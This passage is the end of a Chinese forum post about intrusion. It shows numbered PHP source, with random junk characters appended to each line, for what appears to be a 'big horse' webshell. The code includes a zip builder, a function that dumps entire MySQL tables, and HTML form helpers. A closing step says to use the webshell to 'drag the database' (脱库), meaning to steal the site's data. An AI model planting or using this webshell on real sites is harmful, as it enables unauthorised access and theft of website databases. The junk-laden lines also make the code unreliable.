  1705.         }9 q3 a  j+ S% r& e8 {9 Y( y2 y

  1706. # y! x+ D# s4 ~; e( ?
  1707.         var $datasec      = array();
    ( e- |7 h- Y/ d( I/ O3 F
  1708.         var $ctrl_dir     = array();
    5 R! W- }/ p7 V+ |
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% _: q9 i. w3 u5 T  x# G+ F
  1710.         var $old_offset   = 0;
    * b4 d  _5 [& O8 w) E# p0 B1 o; t

  1711. $ F' C& N6 b, I6 J6 e3 M
  1712.         function unix2DosTime($unixtime = 0) {
    ! p$ u6 i% j# D1 ?, M
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);' L: Y/ a7 E+ ?! e6 _5 h2 q7 a
  1714.                 if ($timearray['year'] < 1980) {2 R. N: @4 j! d2 @, D2 [: B  L9 n+ n: n4 Y
  1715.                         $timearray['year']    = 1980;$ q" K9 Y# _5 G' S
  1716.                         $timearray['mon']     = 1;
    - \8 q1 o& P4 z* I% O
  1717.                         $timearray['mday']    = 1;- T. v2 ^6 {% w% L7 ?
  1718.                         $timearray['hours']   = 0;7 w! x+ A4 f& J6 j* e
  1719.                         $timearray['minutes'] = 0;
    4 N% A, u: C) m
  1720.                         $timearray['seconds'] = 0;
    $ k; ^, g# X. \  c8 l6 x
  1721.                 } // end if$ E- I0 R6 h" C  ~3 H* ^0 e
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |* t/ z+ E* Z$ I6 @2 J5 ]- N
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    5 Z, }. ^/ X, [" y  {. ]/ _
  1724.         }: W9 k3 b! }' `; @
  1725.         function addFile($data, $name, $time = 0) {
    ) k& w" f7 \7 a, U
  1726.                 $name = str_replace('\\', '/', $name);/ X) K8 O; P* H! c1 A
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    5 L7 q2 @, J5 w" V
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]8 [7 R% A3 L1 S; N. S5 L
  1729.                                         . '\x' . $dtime[4] . $dtime[5]- ?# Q; s1 \5 E4 Q2 b8 x' {
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    9 s' V; [- G4 N& m7 P
  1731.                                         . '\x' . $dtime[0] . $dtime[1];, E% I/ x, I8 v" K1 X
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');# j9 Q7 D- F9 y9 K  M
  1733.                 $fr        = "\x50\x4b\x03\x04";
    5 T4 B. ]* t5 H! W, \6 y
  1734.                 $fr        .= "\x14\x00";
    ! `8 w5 m; Q0 M' g
  1735.                 $fr        .= "\x00\x00";
    , J! J' M) |$ h) X
  1736.                 $fr        .= "\x08\x00";7 p: o9 s% r4 z* D& X- z1 h9 s& p
  1737.                 $fr        .= $hexdtime;$ R; i# X9 Y+ C2 R) Y# x" @
  1738.                 $unc_len = strlen($data);
    7 r$ g# W' x6 O* @4 x
  1739.                 $crc = crc32($data);
    * O1 w& _9 W$ p! n
  1740.                 $zdata = gzcompress($data);; B; ~, y0 [8 A5 g7 R
  1741.                 $c_len = strlen($zdata);0 o- i+ B& K7 F% Q$ W; r
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);0 }# ?$ Q1 i! F) G1 v/ l6 N
  1743.                 $fr .= pack('V', $crc);
    , e: B* y8 T8 a5 j
  1744.                 $fr .= pack('V', $c_len);
    1 P1 }% X3 E! d' N% P! D) Y
  1745.                 $fr .= pack('V', $unc_len);
    1 E6 e5 N2 `3 ^( b5 D
  1746.                 $fr .= pack('v', strlen($name));
    + Z* b. ^/ l2 S* z+ u, K5 y
  1747.                 $fr .= pack('v', 0);# z- c7 I2 r$ W* B' `
  1748.                 $fr .= $name;0 Y' c* Z2 Q/ t3 p) x, n
  1749.                 $fr .= $zdata;
    8 x3 j" W, [# y$ ~
  1750.                 $fr .= pack('V', $crc);
    2 f% H! b& y2 U5 I2 C2 o' X1 V
  1751.                 $fr .= pack('V', $c_len);! g9 g0 t  S* S) i4 Y" Z; L* I
  1752.                 $fr .= pack('V', $unc_len);! t( f$ i$ [. ?/ w/ R8 E9 @
  1753.                 $this -> datasec[] = $fr;% `. ~! a/ i# i" |5 d
  1754.                 $new_offset = strlen(implode('', $this->datasec));
    # H! _0 Y2 T  q& ~  ^- B% o
  1755.                 $cdrec = "\x50\x4b\x01\x02";1 v4 A. ?( Z8 p3 b
  1756.                 $cdrec .= "\x00\x00";! G( D- A' d! ~0 N6 @
  1757.                 $cdrec .= "\x14\x00";) J, n4 F- W+ p- d* K/ F
  1758.                 $cdrec .= "\x00\x00";8 J! A. W' D$ O" G6 H9 x2 t1 B& C. J
  1759.                 $cdrec .= "\x08\x00";  M( u2 h9 D; O4 g3 B$ p  P  I
  1760.                 $cdrec .= $hexdtime;
    + h# h6 Z  f# l5 S7 p( X7 G9 c
  1761.                 $cdrec .= pack('V', $crc);" F6 ]1 h4 ]/ Q6 x& N7 @
  1762.                 $cdrec .= pack('V', $c_len);5 z6 B6 l) X. w
  1763.                 $cdrec .= pack('V', $unc_len);
    ' t+ u+ S" b" V4 H) s  |) _* b
  1764.                 $cdrec .= pack('v', strlen($name) );2 A8 j3 g/ g) k$ M- S
  1765.                 $cdrec .= pack('v', 0 );- @. [7 @7 x; j+ m" u
  1766.                 $cdrec .= pack('v', 0 );
    % a) j7 H* v' R' t
  1767.                 $cdrec .= pack('v', 0 );
    ) [* _% ^/ B3 t5 d
  1768.                 $cdrec .= pack('v', 0 );4 @8 _5 I2 ?- K4 e" G. m7 X. }6 ]" V; L
  1769.                 $cdrec .= pack('V', 32 );
    . @" X2 a- q/ p8 _1 {# l1 y8 N
  1770.                 $cdrec .= pack('V', $this -> old_offset );, g% w$ K2 h* f/ Y3 s/ f1 H
  1771.                 $this -> old_offset = $new_offset;6 Q$ g9 a9 Y: q% k9 G
  1772.                 $cdrec .= $name;
    $ C8 }8 F# Q' {6 D: r& T
  1773.                 $this -> ctrl_dir[] = $cdrec;
    ; O$ F$ @5 X! k
  1774.         }
    1 g# \7 l! G! D4 R
  1775.         function file() {7 y  u2 Y& j; D+ m7 D) |
  1776.                 $data    = implode('', $this -> datasec);
    2 J9 F  S5 O2 ]/ g/ v0 t8 F& H
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);7 u. p1 _' c6 `  L- k
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";; ~& Q0 D1 U: `# p' q' F$ H
  1779.         }
    8 O) M; r% N$ O5 n/ I. M4 V
  1780. }* F! o. h+ E5 X; n
  1781. // 备份数据库( A2 L. B# h3 H7 n! f7 W! O
  1782. function sqldumptable($table, $fp=0) {
    . ?6 U' j3 [# v9 g, x: l0 I
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    & E- @( u$ m3 O* b3 s% R0 e; K
  1784.         $tabledump .= "CREATE TABLE $table (\n";- W( \# u. f  t1 s% t7 V0 N
  1785.         $firstfield=1;
    # k- R  [9 w) t: i) R
  1786.         $fields = q("SHOW FIELDS FROM $table");
    : ~% J3 c0 d& v3 Z7 V  D) ~' p
  1787.         while ($field = mysql_fetch_array($fields)) {
    / J9 Q. \: q4 z1 V; ~
  1788.                 if (!$firstfield) {
    ; J1 v1 C3 ~: b% P. N4 p
  1789.                         $tabledump .= ",\n";/ ?8 @7 |: ?$ E. c, \) d; ?3 e
  1790.                 } else {
    3 c) D" ?1 i9 j, v
  1791.                         $firstfield=0;
    1 L8 O, q7 V2 Y3 c4 C5 c: R% w
  1792.                 }' L$ Z9 O. c. z. x5 z  V
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    8 ?' c- ~3 s. Q0 J$ m, S
  1794.                 if (!empty($field["Default"])) {& k; d$ `8 N/ \6 @& U, k
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";# O9 q2 d. D2 ]# {5 f% ^0 y
  1796.                 }
    , `* u2 C( }$ |. u9 r
  1797.                 if ($field['Null'] != "YES") {0 x7 a  }3 x; z5 l+ s# ~
  1798.                         $tabledump .= " NOT NULL";
    7 Y7 S+ Z( b( g5 I
  1799.                 }
    % s/ Z! r1 b: n: J0 B9 P
  1800.                 if ($field['Extra'] != "") {; f  j4 I$ r+ [4 u% j: C8 m
  1801.                         $tabledump .= " $field[Extra]";
    - g) r5 n3 X; [3 E+ i
  1802.                 }0 Z# B; K+ d. j9 B0 H( m5 l! [
  1803.         }; V; |. m+ G% e# |* v7 S
  1804.         fr($fields);
    - Z- k5 s3 N8 d2 A
  1805.         $keys = q("SHOW KEYS FROM $table");! [# `6 F- G& @/ I, D  Y
  1806.         while ($key = mysql_fetch_array($keys)) {
    3 G. h5 u- x4 R9 B/ y0 V
  1807.                 $kname=$key['Key_name'];! W/ W4 `) k$ \* y( C& P
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {3 D% Q) }4 y7 E: ~' Z
  1809.                         $kname="UNIQUE|$kname";- C# i1 O( O& l3 d3 [. o5 p2 X5 q
  1810.                 }
    9 x: h! K8 S9 R; l, {. b$ j
  1811.                 if(!is_array($index[$kname])) {, P4 z3 I7 j$ N2 o) h: e  c$ p
  1812.                         $index[$kname] = array();
    $ a: f3 m, ]8 w& _7 W& b
  1813.                 }( x8 o/ X" Q  N& D* U0 u' c  z
  1814.                 $index[$kname][] = $key['Column_name'];
    8 p% ]) Q' x: D% K" j
  1815.         }4 W  y. Q0 }; p) r; F
  1816.         fr($keys);0 D% I" B) w- B
  1817.         while(list($kname, $columns) = @each($index)) {
    5 n8 t/ ^/ n9 x' o! |
  1818.                 $tabledump .= ",\n";/ K$ m& `" x1 K. V( L
  1819.                 $colnames=implode($columns,",");* z' c7 ]( m2 G! H: u1 H' E' ?
  1820.                 if ($kname == "PRIMARY") {. V3 B6 j3 G) S1 C$ v, O* S
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    8 M' r1 P/ a' e% a* l, `+ \
  1822.                 } else {
    # m' b$ h& [0 N" Z1 F
  1823.                         if (substr($kname,0,6) == "UNIQUE") {
    1 C2 j# F. e& x) L0 {
  1824.                                 $kname=substr($kname,7);
    3 M, s! w) e7 o& U& y
  1825.                         }) \2 q2 u% q' z
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    ) s3 r9 M, |- _) c3 f* a" r
  1827.                 }
    8 N6 P6 g& o" S* e" h1 S9 U0 K9 t
  1828.         }6 }9 p: C8 w; p
  1829.         $tabledump .= "\n);\n\n";1 a  Q5 B5 P# W3 n, C% m
  1830.         if ($fp) {
    * Z5 P% b) O- c/ e) ?4 x2 n1 D
  1831.                 fwrite($fp,$tabledump);* J6 w- p' q4 u3 E5 d" C
  1832.         } else {
    " _" W) ?- F: r1 }% W$ a: n+ x
  1833.                 echo $tabledump;
    , [9 C( x& _# t0 T
  1834.         }4 W; |; w) v+ K0 W6 d
  1835.         $rows = q("SELECT * FROM $table");) b, W0 a+ O! g6 {6 r- s- B0 z$ V
  1836.         $numfields = mysql_num_fields($rows);
    5 b( Q' I& C7 C
  1837.         while ($row = mysql_fetch_array($rows)) {
    + X3 d' D0 p! |  |
  1838.                 $tabledump = "INSERT INTO $table VALUES(";: ]0 f5 D& x  f- p6 H% L' F
  1839.                 $fieldcounter=-1;
    7 @, p7 S$ |4 \$ f/ B4 `
  1840.                 $firstfield=1;; u8 Z# r; T& O/ v5 @3 g* G% G
  1841.                 while (++$fieldcounter<$numfields) {8 x) K8 B& M* M# \# [  ^& P
  1842.                         if (!$firstfield) {$ Q* {( S' c& {/ B( u5 ?1 v# H. t& b
  1843.                                 $tabledump.=", ";
    & K: ~0 d' F8 X6 D0 s# T8 I; R
  1844.                         } else {
    2 s) R; j4 F' j$ b# t% w6 t
  1845.                                 $firstfield=0;
    * k, t( Q& \1 @" T
  1846.                         }
      @* s  W( Y0 c* D+ _
  1847.                         if (!isset($row[$fieldcounter])) {. E8 O1 T( h" ?$ g( ~
  1848.                                 $tabledump .= "NULL";2 V$ K' ^8 ~* X  ]
  1849.                         } else {! A7 d) X, I; }' y: z. Q% U( a
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";" T2 }) G" K5 o
  1851.                         }
    % s; I* F1 ^/ V3 A0 l
  1852.                 }
      ]% ^+ V- K- G" {5 ^
  1853.                 $tabledump .= ");\n";
    , W8 M$ R( f5 p% |/ K( n
  1854.                 if ($fp) {4 y0 q& A9 i" M# p$ l7 x
  1855.                         fwrite($fp,$tabledump);
    7 X) R& y2 C! O: n, o& n
  1856.                 } else {" W4 c# y4 v5 u- c3 k( `: x
  1857.                         echo $tabledump;" }  Y* j, J, D$ B0 S! w1 O/ L
  1858.                 }
    - a, R1 ~3 _2 a2 f& s3 W
  1859.         }8 x) q8 U% P5 H1 o4 e' X: k
  1860.         fr($rows);
    ) {$ }: a, |! G! I, n  o" S/ _
  1861.         if ($fp) {
      F4 D: S' I- h9 T0 N
  1862.                 fwrite($fp,"\n");
    " k2 R! z! A) Y, q
  1863.         } else {
    7 P# }/ |3 I+ x$ ]: _  c
  1864.                 echo "\n";
    ! U, \6 ?' K$ `/ I7 E
  1865.         }
    7 q' P: r0 G. C! [3 Y) U) P3 j
  1866. }8 {9 @/ k( T: \# f( r! `8 [8 T1 b
  1867. function ue($str){
    # i" z3 I8 `" Z$ _4 b
  1868.         return urlencode($str);7 z' v8 Z# {  i. d7 M6 \, N
  1869. }6 z8 A  n0 l0 o
  1870. function p($str){* p% ^7 K) K( l% K7 J
  1871.         echo $str."\n";- s7 {! A1 T  A
  1872. }- X- ?. J& M. n9 h! h5 G
  1873. function tbhead() {: p& n- n; g8 p' R
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');; @7 |) Y, A7 \5 P; i& d
  1875. }
      S& n1 ^: x: I
  1876. function tbfoot(){
    7 L, L; O5 x2 [0 C- U. f9 W
  1877.         p('</table>');
    * x! y, D$ }8 p* _% n( n  h+ v6 k
  1878. }% k5 q# w( c% Q+ `1 l! M
  1879. function makehide($name,$value=''){
    5 y( I; s8 e2 y0 g" ^: @
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    + G$ x) S6 N. K! @# k
  1881. }
    . H# W/ H* |1 U: |
  1882. function makeinput($arg = array()){, g% x; s+ S3 X
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";/ l9 ]# b& o) g6 M7 n# Y8 C/ k/ N
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';" q/ R/ B8 J& @
  1885.         !$arg['type'] && $arg['type'] = 'text';
    " U7 L7 a" A$ l0 L* e# g  i, c5 G4 `
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    5 @% c7 b  U, X3 [4 i; C" ^" r" ]5 H
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    9 O9 ^. n$ A- W4 b
  1888.         if ($arg['newline']) {
    2 U2 v' H( U( j  C' c9 n
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    . ^% c6 |7 f; x& y
  1890.         } else {
    % I: w' s% t8 U% k6 M! L& _
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");$ |$ W; @$ l: i& r$ s4 @" h  r
  1892.         }! m! ^" D$ ~, B7 [* U' E; Y
  1893. }7 V  ~& ^/ d3 a- L7 U
  1894. function makeselect($arg = array()){2 v2 e2 j' t7 s6 S# x3 |" L
  1895.         if ($arg['onchange']) {
    ' j/ R+ E: J' z
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';+ |, w. X! j. R* ^% d
  1897.         }5 G5 h' |- m; Q* S, H/ A% _
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';  \8 O) O: o7 p  y- n% _. i2 Y( a
  1899.         if ($arg['newline']) p('<p>');
    & m# e- i) \$ T: F
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");5 j* z+ c0 U; |7 ^8 K6 e
  1901.                 if (is_array($arg['option'])) {
    6 c$ J& u& W- _. Z
  1902.                         foreach ($arg['option'] as $key=>$value) {
    2 ]2 |/ H+ p% u/ G; n# U
  1903.                                 if ($arg['selected']==$key) {' W, E7 P' ~$ f2 \
  1904.                                         p("<option value="$key" selected>$value</option>");
    ! L7 Q5 ?" R. K8 Z+ e: `
  1905.                                 } else {
    , ]" b, |7 K3 D* W$ P
  1906.                                         p("<option value="$key">$value</option>");( ]8 X; g5 h, J! S0 N
  1907.                                 }
    ; I4 o7 V* Y/ ~% B
  1908.                         }
    ) ?$ |% |* x* [" t" A" d! X
  1909.                 }
    . R% z# b3 D: T: V8 H- @' \
  1910.         p("</select>");$ l0 Z& K  I- g) Z5 F
  1911.         if ($arg['newline']) p('</p>');
    , M" a& Q. C' y1 J
  1912. }& d9 v5 l3 v6 g, {' s$ }
  1913. function formhead($arg = array()) {+ C1 X9 ~" M4 Q% k. M8 m
  1914.         !$arg['method'] && $arg['method'] = 'post';8 P# J$ h8 m$ i$ N3 ^' t; C
  1915.         !$arg['action'] && $arg['action'] = $self;
    + {$ r7 `* f, d. P% Z
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';4 a' f: M# P8 u* h) l! l+ O( n
  1917.         !$arg['name'] && $arg['name'] = 'form1';! L, w9 f3 V6 Z1 o& _1 [, I) L
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");3 h% k. p( x3 d3 {* A( {
  1919.         if ($arg['title']) {
    & z0 ]7 o. ]( e$ @1 i% J
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    ( j* s" a% |! K9 R$ b, d
  1921.         }7 j7 |0 ?, p+ w( ]% `/ |. K0 F. ~* j
  1922. }
    5 e6 a" Z9 M$ h
  1923.        
    - L* J" s& S" Z- {+ e
  1924. function maketext($arg = array()){* A7 l* U/ q4 U7 _" U' I
  1925.         !$arg['cols'] && $arg['cols'] = 100;
      g: W& G7 h- b) ]  `; }: X+ M
  1926.         !$arg['rows'] && $arg['rows'] = 25;$ F9 V- g' G7 b
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$ {$ a( T( f9 S
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");/ \& l+ ^" X. K1 `+ ^7 M" i2 B9 z
  1929. }
    * U$ @( c+ v/ w5 E( \

  1930. # g, f% w; }/ u! `$ G
  1931. function formfooter($name = ''){6 V% @5 K6 H/ l1 G+ U# c& Z& O: i
  1932.         !$name && $name = 'submit';
    ! r8 X# T+ m6 l5 V" ?
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');; r) C8 f$ P0 C$ E+ O1 V
  1934.         p('</form>');4 y2 r; n' x% h: N$ ]! g
  1935. }
    " W1 t' g4 I& \8 {! j; U) y5 ?7 U
  1936. ( ?* q6 V4 h3 w9 k+ G- Y# m
  1937. function formfoot(){
    9 }2 q+ p( |& L* u
  1938.         p('</form>');4 s+ n' u6 e8 _, {) R" Z) ]
  1939. }
    + J9 B; \1 t6 n/ F. u4 R7 y

  1940.   ^, b& s, b( C! t2 l
  1941. // 调试函数% \( o. O- O( O4 O3 E2 d
  1942. function pr($a) {( c, F" _. Z3 y, k8 q& O
  1943.         echo '<pre>';
    ( z- Q8 y3 r$ K
  1944.         print_r($a);" F+ D6 _/ x5 U' V0 D  W9 j
  1945.         echo '</pre>';* V2 t1 M5 q3 T  Q5 e2 D+ l
  1946. }: Q0 P4 j* B3 s# ~0 p$ ?

  1947. ( _0 C/ Z& @8 w
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
, s8 k1 ^. O) d' x+ p

5 ], }5 u. H# i7 A) _  [
" t' r% A0 F1 P" p
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-11-3 04:43 AM , Processed in 0.101211 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表